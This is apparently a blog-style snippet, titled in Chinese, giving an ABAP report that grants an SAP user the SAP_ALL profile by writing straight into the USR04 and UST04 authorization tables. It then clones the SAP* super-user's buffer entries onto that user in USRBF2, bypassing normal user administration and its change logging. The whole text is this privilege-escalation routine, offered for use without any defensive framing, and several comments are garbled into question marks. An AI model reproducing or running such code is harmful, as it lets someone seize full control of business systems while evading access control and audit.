程序方法添加SAP_ALL权限

REPORT  ZTEST_001.

data zUSR04 like USR04 . “????????work area??
data zUST04 like UST04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
“USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = ‘ZTEST001′. “SAP All 权限
move ‘C SAP_ALL’ to zPROFS .
ZUSR04-NRPRO = ‘14′.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = ‘ZTEST001′.
zUST04-PROFILE = ‘SAP_ALL’. “SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = ’200′.
*ZUST04-BNAME = ’ZABC2′.
*ZUST04-PROFILE = ’SAP_ALL’.
*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2
where BNAME = ‘SAP*’ .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = ‘ZTEST001′.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
WRITE ’s’.